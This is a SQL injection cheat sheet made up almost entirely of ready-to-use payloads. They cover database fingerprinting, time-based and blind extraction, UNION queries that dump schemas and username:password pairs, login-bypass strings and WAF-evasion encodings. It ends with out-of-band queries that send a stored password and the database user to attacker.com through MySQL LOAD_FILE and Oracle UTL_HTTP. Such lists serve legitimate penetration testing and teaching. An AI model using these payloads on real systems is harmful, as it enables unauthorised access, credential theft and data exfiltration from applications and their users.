SQL Injection Complete Guide

Detection Techniques

Initial Testing

1. Basic Character Tests

   [Nothing]
   '
   "
   `
   ')
   ")
   `)
   '))
   "))
   `))

2. Database-Specific Comments

   • MySQL
   • PostgreSQL
   • MSSQL
   • Oracle
   • SQLite

   #comment
   -- comment     [Space required after --]
   /*comment*/
   /*! MYSQL Special SQL */

3. Logical Operations Testing

   page.asp?id=1 or 1=1    # True condition
   page.asp?id=1' or 1=1   # True with string termination
   page.asp?id=1" or 1=1   # True with double quote
   page.asp?id=1 and 1=2   # False condition

Time-Based Detection

1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

1' || pg_sleep(10)

1' WAITFOR DELAY '0:0:10'

1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Exploitation Techniques

UNION Based Attacks

1. Column Count Detection

   # Using ORDER BY
   1' ORDER BY 1--+
   1' ORDER BY 2--+
   1' ORDER BY 3--+
   
   # Using UNION SELECT
   1' UNION SELECT null--
   1' UNION SELECT null,null--
   1' UNION SELECT null,null,null--

2. Data Extraction

   # Database names
   -1' UNION SELECT 1,2,GROUP_CONCAT(schema_name)
   FROM information_schema.schemata--
   
   # Table names
   -1' UNION SELECT 1,2,GROUP_CONCAT(table_name)
   FROM information_schema.tables
   WHERE table_schema='target_db'--
   
   # Column names
   -1' UNION SELECT 1,2,GROUP_CONCAT(column_name)
   FROM information_schema.columns
   WHERE table_name='target_table'--

3. Data Retrieval

   -1' UNION SELECT 1,2,GROUP_CONCAT(username,':',password)
   FROM users--

Blind SQL Injection

# Test each character
1 AND SUBSTRING((SELECT password FROM users
WHERE username = 'admin'),1,1) = 'a'

1 AND IF(SUBSTRING((SELECT password FROM users
WHERE username = 'admin'),1,1) = 'a',
SLEEP(5), 0)

Authentication Bypass Techniques

admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--

admin') or ('1'='1
admin') or ('1'='1'--
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*

WAF Bypass Techniques

Space Character Bypasses

id=1%09and%091=1%09--
id=1%0Dand%0D1=1%0D--
id=1%0Cand%0C1=1%0C--
id=1%0Band%0B1=1%0B--
id=1%0Aand%0A1=1%0A--

id=1/**/and/**/1=1/**/--
id=(1)and(1)=(1)--

SQL Keyword Bypasses

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE, REGEXP, RLIKE
> X   -> NOT BETWEEN 0 AND X

-- comment
# comment
/*comment*/
;%00

Out of Band (OOB) Techniques

# MySQL
SELECT LOAD_FILE(CONCAT('\\\\',
  (SELECT password FROM users WHERE id=1),
  '.attacker.com\\1.txt'));

# Oracle
SELECT UTL_HTTP.REQUEST
  ('http://attacker.com/'||(SELECT user FROM DUAL))
  FROM DUAL;

Additional Resources